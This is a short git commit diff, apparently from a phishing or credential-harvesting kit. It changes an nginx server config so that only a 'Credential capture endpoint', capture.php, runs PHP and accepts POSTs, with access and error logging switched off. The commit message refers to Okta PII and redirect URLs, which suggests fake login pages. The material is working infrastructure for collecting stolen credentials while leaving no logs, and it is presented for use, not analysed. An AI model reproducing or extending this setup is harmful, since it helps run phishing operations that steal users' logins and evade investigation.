Fix P1/P2 audit findings: shell-escape upload cmds, parameterize okta PII, harden JS parsing, restrict PHP to capture.php, tojson redirect_url

This commit is contained in:
n0mad1k
2026-06-25 10:25:35 -04:00
parent 014e3177b4
commit 231e70b942
5 changed files with 26 additions and 21 deletions
@@ -37,19 +37,15 @@ server {
access_log off;
error_log /dev/null crit;
# PHP processing
location ~ \.php$ {
include snippets/fastcgi-php.conf;
fastcgi_pass unix:/var/run/php/php7.4-fpm.sock;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
}
# Credential capture endpoint
# Credential capture — only POST to this exact path
location = /capture.php {
limit_except POST { deny all; }
include snippets/fastcgi-php.conf;
fastcgi_pass unix:/var/run/php/php7.4-fpm.sock;
}
# Deny all other PHP execution
location ~ \.php$ { deny all; }
# Template routing
location /templates/ {